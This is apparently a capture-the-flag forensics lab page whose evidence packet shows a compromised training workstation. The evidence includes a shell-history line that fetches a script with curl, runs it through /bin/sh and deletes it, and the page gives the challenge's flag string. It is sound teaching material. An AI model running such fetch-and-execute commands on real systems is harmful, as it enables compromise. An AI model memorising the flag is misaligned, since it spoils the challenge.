← RANGE INDEX// LAB 04 · ForensicsMemory Echo
A disposable workstation was compromised during a controlled exercise.
Hard500 PTSFORENSICS · LINUX · TIMELINE
// BRIEFINGMISSION
A disposable workstation was compromised during a controlled exercise.
OBJECTIVE
Reconstruct the event sequence from process, shell and filesystem artifacts.
BOUNDARY
This challenge uses SPECTER.GHOST training material only. Do not target the public portal or systems outside assets explicitly supplied by the lab.
// EVIDENCE PACKETARTIFACTS
09:41:02 shell_history: curl http://training.local/update.sh -o /tmp/u
09:41:05 process: /bin/sh /tmp/u
09:41:06 fs: CREATE /tmp/.cache/.marker
09:41:08 process: rm /tmp/u
09:42:11 fs: READ /tmp/.cache/.marker
marker contents: timeline_beats_guessing
HINT 01
Order the artifacts chronologically. The final surviving marker is evidence, not a command to execute.